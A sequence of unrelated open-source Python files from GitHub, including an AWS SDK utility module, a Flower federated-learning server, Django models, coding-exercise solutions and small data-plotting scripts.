print('remove dir: ' + i)\n shutil.rmtree('build')\n\n\n# fix env variables for PySide tools\nif sys.platform == 'win32':\n os.environ['PATH'] += (';' + pjoin(sys.exec_prefix, 'Scripts') +\n ';' + pjoin(sys.exec_prefix, 'lib', 'site-packages', 'PySide'))\n\n\n# PySide installed by linux package manager will not recognized by setuptools, so requires not added.\nsetup(name='Hazama',\n author='krrr',\n author_email='guogaishiwo@gmail.com',\n version=hazama.__version__,\n description=hazama.__desc__,\n url='https://krrr.github.io/hazama',\n packages=['hazama', 'hazama.ui'],\n cmdclass={'build': CustomBuild, 'build_qt': BuildQt, 'install': CustomInstall,\n 'update_ts': UpdateTranslations, 'build_exe': BuildExe, 'clean': Clean},\n zip_safe=True,\n extras_require = {'packaging': ['cx_freeze']},\n entry_points={'gui_scripts': ['hazama = hazama:main_entry']})\n","repo_name":"krrr/Hazama","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6042,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"61"} +{"seq_id":"29148389605","text":"import logging\n\n\nfrom .exceptions import InvalidExpressionError, ConfigNotFound\nfrom .compat import json\nfrom .vendored import requests\n\n\nlogger = logging.getLogger(__name__)\nDEFAULT_METADATA_SERVICE_TIMEOUT = 1\nMETADATA_SECURITY_CREDENTIALS_URL = (\n 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'\n)\n\n\nclass _RetriesExceededError(Exception):\n \"\"\"Internal exception used when the number of retries are exceeded.\"\"\"\n pass\n\n\ndef normalize_url_path(path):\n if not path:\n return '/'\n return remove_dot_segments(path)\n\n\ndef remove_dot_segments(url):\n # RFC 2986, section 5.2.4 \"Remove Dot Segments\"\n output = []\n while url:\n if url.startswith('../'):\n url = url[3:]\n elif url.startswith('./'):\n url = url[2:]\n elif url.startswith('/./'):\n url = '/' + url[3:]\n elif url.startswith('/../'):\n url = '/' + url[4:]\n if output:\n output.pop()\n elif url.startswith('/..'):\n url = '/' + url[3:]\n if output:\n output.pop()\n elif url.startswith('/.'):\n url = '/' + url[2:]\n elif url == '.' or url == '..':\n url = ''\n elif url.startswith('//'):\n # As far as I can tell, this is not in the RFC,\n # but AWS auth services require consecutive\n # slashes are removed.\n url = url[1:]\n else:\n if url[0] == '/':\n next_slash = url.find('/', 1)\n else:\n next_slash = url.find('/', 0)\n if next_slash == -1:\n output.append(url)\n url = ''\n else:\n output.append(url[:next_slash])\n url = url[next_slash:]\n return ''.join(output)\n\n\ndef validate_jmespath_for_set(expression):\n # Validates a limited jmespath expression to determine if we can set a value\n # based on it. Only works with dotted paths.\n if not expression or expression == '.':\n raise InvalidExpressionError(expression=expression)\n\n for invalid in ['[', ']', '*']:\n if invalid in expression:\n raise InvalidExpressionError(expression=expression)\n\n\ndef set_value_from_jmespath(source, expression, value, is_first=True):\n # This takes a (limited) jmespath-like expression & can set a value based\n # on it.\n # Limitations:\n # * Only handles dotted lookups\n # * No offsets/wildcards/slices/etc.\n if is_first:\n validate_jmespath_for_set(expression)\n\n bits = expression.split('.', 1)\n current_key, remainder = bits[0], bits[1] if len(bits) > 1 else ''\n\n if not current_key:\n raise InvalidExpressionError(expression=expression)\n\n if remainder:\n if not current_key in source:\n # We've got something in the expression that's not present in the\n # source (new key). If there's any more bits, we'll set the key with\n # an empty dictionary.\n source[current_key] = {}\n\n return set_value_from_jmespath(\n source[current_key],\n remainder,\n value,\n is_first=False\n )\n\n # If we're down to a single key, set it.\n source[current_key] = value\n\n\nclass InstanceMetadataFetcher(object):\n def __init__(self, timeout=DEFAULT_METADATA_SERVICE_TIMEOUT,\n num_attempts=1, url=METADATA_SECURITY_CREDENTIALS_URL):\n self._timeout = timeout\n self._num_attempts = num_attempts\n self._url = url\n\n def _get_request(self, url, timeout, num_attempts=1):\n for i in range(num_attempts):\n try:\n response = requests.get(url, timeout=timeout)\n except (requests.Timeout, requests.ConnectionError) as e:\n logger.debug(\"Caught exception while trying to retrieve \"\n \"credentials: %s\", e, exc_info=True)\n else:\n if response.status_code == 200:\n return response\n raise _RetriesExceededError()\n\n def retrieve_iam_role_credentials(self):\n data = {}\n url = self._url\n timeout = self._timeout\n num_attempts = self._num_attempts\n try:\n r = self._get_request(url, timeout, num_attempts)\n if r.content:\n fields = r.content.decode('utf-8').split('\\n')\n for field in fields:\n if field.endswith('/'):\n data[field[0:-1]] = self.retrieve_iam_role_credentials(\n url + field, timeout, num_attempts)\n else:\n val = self._get_request(\n url + field,\n timeout=timeout,\n num_attempts=num_attempts).content.decode('utf-8')\n if val[0] == '{':\n val = json.loads(val)\n data[field] = val\n else:\n logger.debug(\"Metadata service returned non 200 status code \"\n \"of %s for url: %s, content body: %s\",\n r.status_code, url, r.content)\n except _RetriesExceededError:\n logger.debug(\"Max number of attempts exceeded (%s) when \"\n \"attempting to retrieve data from metadata service.\",\n num_attempts)\n # We sort for stable ordering. In practice, this should only consist\n # of one role, but may need revisiting if this expands in the future.\n final_data = {}\n for role_name in sorted(data):\n final_data = {\n 'role_name': role_name,\n 'access_key': data[role_name]['AccessKeyId'],\n 'secret_key': data[role_name]['SecretAccessKey'],\n 'token': data[role_name]['Token'],\n 'expiry_time': data[role_name]['Expiration'],\n }\n return final_data\n\n\ndef merge_dicts(dict1, dict2):\n \"\"\"Given two dict, merge the second dict into the first.\n\n The dicts can have arbitrary nesting.\n\n \"\"\"\n for key in dict2:\n if isinstance(dict2[key], dict):\n if key in dict1 and key in dict2:\n merge_dicts(dict1[key], dict2[key])\n else:\n dict1[key] = dict2[key]\n else:\n # At scalar types, we iterate and merge the\n # current dict that we're on.\n dict1[key] = dict2[key]\n\n\ndef parse_key_val_file(filename, _open=open):\n try:\n with _open(filename) as f:\n contents = f.read()\n return parse_key_val_file_contents(contents)\n except OSError as e:\n raise ConfigNotFound(path=filename)\n\n\ndef parse_key_val_file_contents(contents):\n final = {}\n for line in contents.splitlines():\n key, val = line.split('=', 1)\n key = key.strip()\n val = val.strip()\n final[key] = val\n return final\n","repo_name":"luckyjd/lms_edx","sub_path":"edx-ficus.3-3/python/lib/python2.7/site-packages/botocore-0.52.0-py2.7.egg/botocore/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7006,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74118985475","text":"import yfinance as yf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass Object(object):\n pass\n\ndef CalcPercent(ticker, cpi, index):\n inflation = 0\n first = float(ticker.history['Close'][0])\n now = float(ticker.history['Close'][index])\n dividends = float(sum(ticker.history['Dividends'][0:index]))\n\n # Adjust the return by the cpi data\n if cpi:\n if index > len(cpi.history['Close'])-1:\n index = len(cpi.history['Close'])-1\n firstCpi = float(cpi.history['Close'][0])\n nowCpi = float(cpi.history['Close'][index])\n dividendsCpi = float(sum(cpi.history['Dividends'][0:index]))\n inflation = int(((nowCpi+dividendsCpi)/firstCpi)*100)\n return int(((now+dividends)/first)*100) - inflation\n\ndef MakePercent(ticker, cpi):\n percent = []\n for i in range(len(ticker.history)):\n percent.append(CalcPercent(ticker, cpi, i))\n return percent\n\ndef MakeTicker(name, cpi=None):\n ticker = Object()\n ticker.name = name\n ticker.ticker = yf.Ticker(name)\n # Date, Open, High, Low, Open, Close, Adj Close, Volume, Dividends, Stock Splits\n print('Getting Ticker: ' + name)\n ticker.history = ticker.ticker.history(period=\"8y\", interval=\"1d\")\n # Percentage of every (close + dividends) / starting close\n ticker.percent = MakePercent(ticker, cpi)\n return ticker\n\ndef PlotTickers(title, tickers):\n for i in range(len(tickers)):\n for j in range(len(tickers)-1):\n if tickers[j].percent[-1] < tickers[j+1].percent[-1]:\n tickers[j], tickers[j+1] = tickers[j+1], tickers[j]\n\n maxLabel = 0\n for t in tickers:\n if len(t.name) > maxLabel:\n maxLabel = len(t.name)\n\n plt.rcParams['font.family'] = 'monospace' \n for t in tickers:\n x = np.array(t.history.index)\n y = np.array(t.percent)\n plt.plot(x, y, label=t.name.ljust(maxLabel) + ' - ' + format(t.percent[-1])+'%')\n print(t.name.ljust(maxLabel), format(t.percent[-1])+'%')\n\n leg = plt.legend(loc='upper left')\n plt.grid()\n plt.title(title)\n plt.show()\n\n# List Maker Then Plot\ndef ListPlot(title, inputList, cpi):\n tmp = []\n for t in list(dict.fromkeys(inputList)):\n tmp.append(MakeTicker(t, cpi))\n PlotTickers(title, tmp)\n\n# Inflation Data\ncpi = MakeTicker('CPI')\n\n# Funds\nListPlot('List 1', ['VTI', 'VGT', 'VIG', 'SCHD'], cpi)\nListPlot('List 2', ['VUG', 'DGRO'], cpi)\nListPlot('List 3', ['FXAIX', 'FRLPX'], cpi)\nListPlot('List 4', ['VFIAX', 'VTIVX', 'FFIDX', 'VTI', 'QQQ'], cpi)\n","repo_name":"darrenhomme/yfinance-charts","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7282980222","text":"\"\"\"Defines a custom Server.\"\"\"\n\nimport timeit\nfrom logging import INFO\nfrom typing import Optional\n\nfrom flwr.common.logger import log\nfrom flwr.server.client_manager import ClientManager, SimpleClientManager\nfrom flwr.server.history import History\nfrom flwr.server.server import Server\nfrom flwr.server.strategy import Strategy\n\n\nclass MyServer(Server):\n \"\"\"Custom Flower server.\n\n This customization of the server has the only scope to allow to start the training\n from a starting round different from 1. This is useful when you want to stop and\n restart the training (saving and loading the state obviously).\n \"\"\"\n\n def __init__(\n self,\n *,\n client_manager: Optional[ClientManager] = None,\n strategy: Optional[Strategy] = None,\n starting_round: int = 1,\n ) -> None:\n if client_manager is None:\n client_manager = SimpleClientManager()\n super().__init__(client_manager=client_manager, strategy=strategy)\n print(self.client_manager)\n self.starting_round = starting_round\n\n # overwriting\n def fit( # pylint: disable=too-many-locals\n self, num_rounds: int, timeout: Optional[float]\n ) -> History:\n \"\"\"Run federated averaging for a number of rounds.\"\"\"\n history = History()\n\n # Initialize parameters\n log(INFO, \"Initializing global parameters\")\n self.parameters = self._get_initial_parameters(timeout=timeout)\n if self.starting_round == 1:\n log(INFO, \"Evaluating initial parameters\")\n res = self.strategy.evaluate(\n self.starting_round - 1, parameters=self.parameters\n )\n if res is not None:\n log(\n INFO,\n \"initial parameters (loss, other metrics): %s, %s\",\n res[0],\n res[1],\n )\n history.add_loss_centralized(\n server_round=self.starting_round - 1, loss=res[0]\n )\n history.add_metrics_centralized(\n server_round=self.starting_round - 1, metrics=res[1]\n )\n\n # Run federated learning for num_rounds\n log(INFO, \"FL starting\")\n start_time = timeit.default_timer()\n\n # changed this\n # for current_round in range(1, num_rounds + 1):\n for current_round in range(\n self.starting_round, self.starting_round + num_rounds\n ):\n # Train model and replace previous global model\n res_fit = self.fit_round(\n server_round=current_round,\n timeout=timeout,\n )\n if res_fit is not None:\n parameters_prime, fit_metrics, _ = res_fit # fit_metrics_aggregated\n if parameters_prime:\n self.parameters = parameters_prime\n history.add_metrics_distributed_fit(\n server_round=current_round, metrics=fit_metrics\n )\n\n # Evaluate model using strategy implementation\n res_cen = self.strategy.evaluate(current_round, parameters=self.parameters)\n if res_cen is not None:\n loss_cen, metrics_cen = res_cen\n log(\n INFO,\n \"fit progress: (%s, %s, %s, %s)\",\n current_round,\n loss_cen,\n metrics_cen,\n timeit.default_timer() - start_time,\n )\n history.add_loss_centralized(server_round=current_round, loss=loss_cen)\n history.add_metrics_centralized(\n server_round=current_round, metrics=metrics_cen\n )\n\n # Evaluate model on a sample of available clients\n res_fed = self.evaluate_round(server_round=current_round, timeout=timeout)\n if res_fed is not None:\n loss_fed, evaluate_metrics_fed, _ = res_fed\n if loss_fed is not None:\n history.add_loss_distributed(\n server_round=current_round, loss=loss_fed\n )\n history.add_metrics_distributed(\n server_round=current_round, metrics=evaluate_metrics_fed\n )\n\n # Bookkeeping\n end_time = timeit.default_timer()\n elapsed = end_time - start_time\n log(INFO, \"FL finished in %s\", elapsed)\n return history\n","repo_name":"adap/flower","sub_path":"baselines/fedmlb/fedmlb/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":3287,"dataset":"github-code","pt":"61"} +{"seq_id":"23555696811","text":"T = int(input())\r\nfor case in range(T):\r\n N = list(int(i) for i in input())\r\n \r\n for i in range(len(N)-1,0,-1):\r\n if (N[i-1]) > (N[i]):\r\n for j in range(i,len(N)):\r\n N[j] = 9\r\n N[i-1] -= 1\r\n \r\n while N[0] == 0:\r\n del N[0]\r\n \r\n num = \"\".join(str(x) for x in N)\r\n #print(S)\r\n outstr = \"Case #{}: \".format(case+1)\r\n print(outstr + num)\r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/247.py","file_name":"247.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71232455553","text":"from util.util_mysql import Questions, Answers, QuesCollections, AnsCollections, and_\n\n\ndef delete(qaid, uid, db):\n \"\"\"\n 自动判别问题、回答并删除\n :param qaid:ID\n :param uid:用户ID\n :param db:数据库对象\n :return state:删除操作状态 AnsDel:回答删除成功 QuesDel:问题删除成功 Error:失败\n \"\"\"\n if qaid[0] == 'A':\n return delet_ans(qaid, uid, db)\n elif qaid[0] == 'Q':\n return delet_ques(qaid, uid, db)\n else:\n return \"Error\"\n\n\ndef delet_ans(aid, uid, db):\n \"\"\"\n 删除回答及其收藏\n :param aid:问题ID\n :param uid:用户ID\n :param db:数据库对象\n :return state:删除操作状态\n \"\"\"\n isOwner = db.select(Answers, and_(Answers.aid == aid, Answers.uid == uid))\n if len(isOwner) != 0:\n db.delete(AnsCollections, AnsCollections.aid == aid)\n db.delete(Answers, Answers.aid == aid)\n state = \"AnsDel\"\n else:\n state = \"Error\"\n return state\n\n\ndef delet_ques(qid, uid, db):\n \"\"\"\n 删除问题函数\n :param qid:问题ID\n :param uid:用户ID\n :param db:数据库对象\n :return: state:删除操作状态\n \"\"\"\n isOwner = db.select(Questions, and_(Questions.qid == qid, Questions.uid == uid))\n if len(isOwner) != 0:\n flag = db.select(Answers.aid, Answers.qid == qid)\n flag = [item[0] for item in flag]\n db.delete(AnsCollections, and_(AnsCollections.aid == flag))\n db.delete(Answers, Answers.qid == qid)\n db.delete(QuesCollections, QuesCollections.qid == qid)\n db.delete(Questions, Questions.qid == qid)\n state = \"QuesDel\"\n else:\n state = \"Error\"\n return state\n","repo_name":"BarrieWang/CAU_Project","sub_path":"ask/delet.py","file_name":"delet.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"26410782111","text":"# Give the user the option to either enter two numbers and an operator,\n# display the answer to the equation,\n# and return a calculation that is written to a text file, \n# or read all of the equations from the text file and\n# print out all of the equations together with the results.\n# Use defensive programming to write this program in a manner that is robust and\n# handles unexpected events and user inputs.\n# Ensure that the program does not crash if a file does not exist,\n# and that the user is prompted again to enter the name of the file.\n\nimport os\n\n# Class that handles parsing of equations\nclass EquationParser:\n def __init__(self):\n # Dictionary mapping text operators to functions that handle those operators\n self.operators = {\"+\":self.add, \"-\":self.sub, \"*\":self.mult, \"/\":self.div} # Dictionary of operators\n \n # Functions for each operator, names are self explanatory.\n\n def add(self, a, b):\n return a + b\n \n def sub(self, a, b):\n return a - b\n \n def mult(self, a, b):\n return a * b\n \n def div(self, a, b):\n return a / b\n\n # Error checking\n # This function returns True if the given character is a supported operator\n def is_operator(self, operator):\n return True if self.operators.get(operator) else False\n\n # Casting so variables are treated as numbers not strings, and calculations are done properly.\n def parse_number(self, number):\n if \".\" not in number:\n return int(number)\n else:\n return float(number)\n\n # Parses a given string equation, handling errors\n def parse(self, equation):\n equation_split = equation.split(\" \")\n\n # Strip whitespace from both sides of every element\n equation_split = [x.strip() for x in equation_split]\n\n # If we don't have 3 parts, it's not a valid equation.\n if len(equation_split) != 3:\n print(\"Equations were in the wrong format! Each part of the equation needs to be separated by a space (e.g 4 * 2).\")\n return None\n\n # Extract the 3 values for clarity\n x, op, y = equation_split\n \n # Checks if the equation follows x + y format.\n is_valid = x.isnumeric() and self.is_operator(op) and y.isnumeric()\n \n if not is_valid:\n print(\"Equations were in the wrong format! Equations needs to be two numbers and an operator (e.g 4 * 2).\")\n return False\n\n x = self.parse_number(x)\n y = self.parse_number(y)\n\n # Get the operator function defined\n func = self.operators.get(op)\n\n return func(x, y)\n\n\nparser = EquationParser()\n\nprint(\"Would you like to read a (f)ile for the equations, or (m)anually input one?\")\n\n# Will loop until the user picks either f (file) or m (manual) equation input, handles all erroneous input\nwhile True:\n file_or_input = input(\"Choose f for file, m for manual: \")\n if \"f\" in file_or_input.lower() or \"m\" in file_or_input.lower():\n break\n else:\n print(\"Please enter a valid choice.\")\n\nif file_or_input.lower() == \"m\":\n # Let user input an equation they want the answer to\n while True:\n user_input = input(\"Equation: \")\n result = parser.parse(user_input)\n\n # If there is no result, i.e. None is returned, the equation isn't valid.\n if result:\n print(f\"{user_input} = {result}\")\n with open(\"calculation_results.txt\", \"a\") as f:\n f.write(f\"{user_input}\\n\")\n break\n else:\n print(\"Please enter a valid equation.\")\nelse:\n while True:\n # Let a user input a file with a list of equations that all need answers\n filename = input(\"Enter filename (with equations): \")\n # If the file doesnt't exist, loop until they input a correct filename, and tell them the folder to add the file\n if not os.path.isfile(filename):\n temp_variable = os.getcwd()\n print(f\"Not a valid file. Please check the file is in {temp_variable} and is a txt file. For example, 'equations.txt'\")\n else:\n break\n \n with open(filename, \"r\") as f:\n equations = f.readlines()\n \n equations = [x.strip() for x in equations]\n \n for equation in equations:\n result = parser.parse(equation)\n print(f\"{equation} = {result}\")","repo_name":"Asterisk555/HyperionDev","sub_path":"T24 - Defensive Programming/defensive calculator.py","file_name":"defensive calculator.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32667184047","text":"\"\"\"\nLicense: Gpl v3\n\nleetcode-link: https://leetcode.com/problems/reverse-integer/ \n\"\"\"\n\n\nclass Solution:\n INT_32_MAX = 2147483647\n INT_32_MIN = -2147483648\n\n def reverse(self, num: int) -> int:\n if num >= -9 and num <= 9:\n return num\n num_digits = self.get_number_of_digits(num)\n reversed_num = 0\n original_num = num\n num = abs(num)\n while num_digits > 0:\n curr_last_digit = num % 10\n reversed_num += curr_last_digit * (10 ** (num_digits - 1))\n num = num // 10\n num_digits -= 1\n reversed_num = -1 * reversed_num if original_num < 0 else reversed_num\n if reversed_num < INT_32_MIN or reversed_num > INT_32_MAX:\n return 0\n return reversed_num\n\n def get_number_of_digits(self, num: int) -> int:\n count = 0\n num = abs(num)\n while num > 0:\n num = num // 10\n count += 1\n return count\n","repo_name":"gmreads/leetcode","sub_path":"question-lists/top-interview/7-reverse-integer.py","file_name":"7-reverse-integer.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19720875724","text":"# 1\nword = input()\ntime = 0\nfor w in word:\n if 'A' <= w <= 'C':\n time += 3\n elif 'D' <= w <= 'F':\n time += 4\n elif 'G' <= w <= 'I':\n time += 5\n elif 'J' <= w <= 'L':\n time += 6\n elif 'M' <= w <= 'O':\n time += 7\n elif 'P' <= w <= 'S':\n time += 8\n elif 'T' <= w <= 'V':\n time += 9\n elif 'W' <= w <= 'Z':\n time += 10 \n\nprint(time)\n\n# 2\nal_list = ['ABC', 'DEF','GHI','JKL','MNO','PQRS','TUV','WXYZ']\nword = input()\ntime = 0\n\nfor w in word:\n for a in al_list:\n if w in a:\n time += 3 + al_list.index(a)","repo_name":"haeniKim/TIL","sub_path":"Algorithm/baekjoon/5622.py","file_name":"5622.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37895591856","text":"import csv\nimport json\n\nopen(\"outputData.csv\", \"w\").close()\n\ndef main():\n\tdates = {}\n\terrorData = []\n\ti = 0\n\twith open('Resources/ScreenData.json') as json_file:\n\t\t#variable to ensure proper data order\n\t\tonOff = 'off'\n\n\t\tdata = json.load(json_file)\n\t\tstartTime = 0\n\n\t\tfor p in data['list']:\n\t\t\ti += 1\n\t\t\t#Check for errors in data order\n\t\t\tif(p['power'] == onOff):\n\t\t\t\tprint('On off at date: ' + p['date'] + ' time: ' + p['time'])\n\t\t\t\terrorData.append(i)\n\t\t\t\tcontinue\n\n\t\t\t#Set start time\n\t\t\tif (p['power'] == \"on\"):\n\t\t\t\tstartTime = int(p['sec'])\n\t\t\t\tonOff = 'on'\n\n\t\t\t#Calculate total time with start and end time\n\t\t\telif (p['power'] == \"off\"):\n\n\t\t\t\tdates[p['date']] = dates.setdefault(p['date'], 0) + (int(p['sec']) - startTime)/60\n\t\t\t\tonOff = 'off'\n\n\t\t\telse:\n\t\t\t\tprint('Power is not on or off')\n\n\n\t\t\t#print('Power: ' + p['power'])\n\t\t\t#print('Date: ' + p['date'])\n\t\t\t#print('Time: ' + p['time'])\n\t\t\t#print('')\n\n\twith open('outputData.csv', 'a') as f:\n\t\tfor key, value in dates.items():\n\t\t\tf.write(key + \",\" + str(value) + \"\\n\")\n\n\ti = -1\n\twith open(\"Resources/ScreenData.json\", \"r\") as f:\n\t\tlines = f.readlines()\n\twith open(\"Resources/ScreenData.json\", \"w\") as f:\n\t\tfor line in lines:\n\t\t\ti += 1\n\t\t\tif not i in errorData:\n\t\t\t\tf.write(line)\n\t\t\telse:\n\t\t\t\tprint(line)\n\n\n\n\nmain()\n","repo_name":"jamesweavr/DataParser","sub_path":"Py/screenData.py","file_name":"screenData.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36312101705","text":"from django.db import models\r\n\r\n\r\nclass Zawodnik(models.Model):\r\n imie = models.CharField(max_length=20)\r\n nazwisko = models.CharField(max_length=20)\r\n plec = models.CharField(max_length=1, choices=[\r\n ('M', 'Mężczyzna'),\r\n ('K', 'Kobieta'),\r\n ('I', 'Coś innego'),\r\n ])\r\n pseudonim = models.CharField(max_length=20)\r\n nr_buta = models.IntegerField()\r\n nr_telefonu = models.IntegerField()\r\n # klub = models.ForeignKey(Klub, on_delete=models.CASCADE)\r\n\r\n def __str__(self):\r\n return self.imie + ' ' + self.nazwisko\r\n\r\n\r\n\r\nclass Klub(models.Model):\r\n nazwa = models.IntegerField(choices=[\r\n (1, 'Kręgle Club'),\r\n (2, 'Bilard Club'),\r\n (3, 'Dart Club'),\r\n (4, 'Brak')\r\n ])\r\n czlonkowie = models.ManyToManyField(Zawodnik, blank=True)\r\n\r\n def __str__(self):\r\n return str(self.get_nazwa_display())\r\n\r\n\r\nclass Tor(models.Model):\r\n dostepnosc = models.IntegerField(choices=[\r\n (1, 'Dostępny'),\r\n (2, 'Zajęty'),\r\n ])\r\n tor = models.IntegerField(choices=[\r\n (1, 'Krótki'),\r\n (2, 'Średni'),\r\n (3, 'Długi'),\r\n ])\r\n\r\n def __str__(self):\r\n return str(self.get_tor_display())\r\n \r\n\r\nclass Rezerwacja(models.Model):\r\n rezerwujacy = models.CharField(max_length=20, null=True)\r\n dzien = models.DateField(null=True) \r\n godziny = models.IntegerField(choices=[\r\n (1, '15:00'),\r\n (2, '16:00'),\r\n (3, '17:00'),\r\n (4, '18:00'),\r\n (5, '19:00'),\r\n (6, '20:00'),\r\n (7, '21:00'),\r\n (8, '22:00'),\r\n ], null=True)\r\n tor = models.ForeignKey(Tor, null=True, on_delete=models.CASCADE) \r\n osoby = models.IntegerField(choices=[\r\n (1, 1),\r\n (2, 2),\r\n (3, 3),\r\n (4, 4),\r\n (5, 5),\r\n\r\n ], null=True)\r\n\r\n def __str__(self):\r\n return self.rezerwujacy + ' ' + str(self.dzien) + ' ' + str(self.get_godziny_display()) + ' ' + 'Tor ' + str(self.tor) + ' ' + str(self.osoby) + 'os.'\r\n","repo_name":"danieel99/Django-Bowling","sub_path":"projekt/kregle/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17445743732","text":"import config\nimport os\nfrom flask import Flask, send_from_directory\nfrom flask_restful import Api\nfrom flask_cors import CORS\nfrom map_events_api import MapEventsApi\nfrom map_polygon_api import MapPolygonApi\nfrom auth_api import GoogleAuth, AdminAuth, ValidateAdmin, ValidateUser\nfrom contributions_api import ListContribution, AddContribution, ReviewContribution\n\napp = Flask(__name__, static_folder='build/')\napi = Api(app, prefix=\"/v1\")\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n# data api\napi.add_resource(MapEventsApi, '/map/events/')\napi.add_resource(MapPolygonApi, '/map/polygon/')\n\n# auth api\napi.add_resource(AdminAuth, '/auth/admin')\napi.add_resource(GoogleAuth, '/auth/google')\napi.add_resource(ValidateAdmin, '/validate/admin')\napi.add_resource(ValidateUser, '/validate/user')\n\n# contribution api\napi.add_resource(ListContribution, '/contributions/')\napi.add_resource(AddContribution, '/contributions/add/')\napi.add_resource(ReviewContribution, '/contributions/review/')\n\n\n@app.route('/', defaults={'path': ''})\n@app.route('/')\ndef serve(path):\n if path != \"\" and os.path.exists(\"build/\" + path):\n return send_from_directory('build/', path)\n else:\n return send_from_directory('build/', 'index.html')\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8000, debug=True)\n","repo_name":"Parassharmaa/space-and-time","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32889948331","text":"#-------------------------------------------------------------------------------\r\n# Name: text.py\r\n# Purpose: music21 classes for text processing\r\n#\r\n# Authors: Michael Scott Cuthbert\r\n# Authors: Christopher Ariza\r\n#\r\n# Copyright: (c) 2009 The music21 Project\r\n# License: LGPL\r\n#-------------------------------------------------------------------------------\r\n'''Utility routines for processing text in scores and other musical objects. \r\n'''\r\n\r\n\r\nimport doctest, unittest\r\nimport music21 # needed to properly do isinstance checking\r\n\r\n\r\ndef assembleLyrics(streamIn):\r\n '''Concatenate text from a stream.\r\n '''\r\n word = []; words = []\r\n noteStream = streamIn.flat.notes\r\n for n in noteStream:\r\n for lyricObj in n.lyrics: # a list of lyric objs\r\n #print lyricObj, lyricObj.syllabic, lyricObj.text\r\n # need to match case of non-defined syllabic attribute\r\n if lyricObj.syllabic in ['begin', 'middle']:\r\n word.append(lyricObj.text)\r\n elif lyricObj.syllabic in ['end', 'single', None]:\r\n word.append(lyricObj.text)\r\n words.append(''.join(word))\r\n word = []\r\n return ' '.join(words)\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n#-------------------------------------------------------------------------------\r\nclass Test(unittest.TestCase):\r\n\r\n def runTest(self):\r\n pass\r\n\r\n def testBasic(self):\r\n from music21 import converter, corpus\r\n\r\n a = converter.parse(corpus.getWork('haydn/opus74no2/movement4.xml'))\r\n post = assembleLyrics(a)\r\n self.assertEqual(post, '') # no lyrics!\r\n\r\n a = converter.parse(corpus.getWork('luca/gloria'))\r\n post = assembleLyrics(a)\r\n self.assertEqual(post.startswith('Et in terra pax hominibus bone voluntatis'), True) \r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n music21.mainTest(Test)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"morganecf/music21","sub_path":"music21/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71097039553","text":"if __name__ == \"__main__\":\n from AthenaConfiguration.AllConfigFlags import initConfigFlags\n from AthenaConfiguration.Enums import Project\n from AthenaConfiguration.TestDefaults import defaultTestFiles\n flags = initConfigFlags()\n flags.Input.Files = defaultTestFiles.HITS_RUN2\n flags.IOVDb.GlobalTag = \"OFLCOND-MC16-SDR-16\"\n flags.GeoModel.Align.Dynamic = False\n flags.lock()\n\n if flags.Common.Project is Project.AthSimulation:\n from TRT_GeoModel.TRT_GeoModelConfig import TRT_SimulationGeometryCfg\n acc = TRT_SimulationGeometryCfg(flags)\n f=open('TRT_SimulationGeometryCfg.pkl','wb')\n else:\n from TRT_GeoModel.TRT_GeoModelConfig import TRT_ReadoutGeometryCfg\n acc = TRT_ReadoutGeometryCfg(flags)\n f=open('TRT_ReadoutGeometryCfg.pkl','wb')\n acc.store(f)\n f.close()\n","repo_name":"Yusuf-Manjra/athena","sub_path":"InnerDetector/InDetDetDescr/TRT_GeoModel/test/TRT_GMConfig_test.py","file_name":"TRT_GMConfig_test.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17641212579","text":"from asgiref.sync import async_to_sync\nfrom channels.generic.websocket import WebsocketConsumer\nimport json\nfrom .models import UserCollections, RestaurantCollections, Restaurant\nfrom .serializers import UserCollectionsSerializer, RestaurantCollectionsSerializer\n\n\nclass CollectionConsumer(WebsocketConsumer):\n def connect(self):\n self.room_name = self.scope['url_route']['kwargs']['collection_id']\n self.room_group_name = 'collection_%s' % self.room_name\n\n async_to_sync(self.channel_layer.group_add)(\n self.room_group_name,\n self.channel_name\n )\n\n self.accept()\n\n def disconnect(self, close_code):\n async_to_sync(self.channel_layer.group_discard)(\n 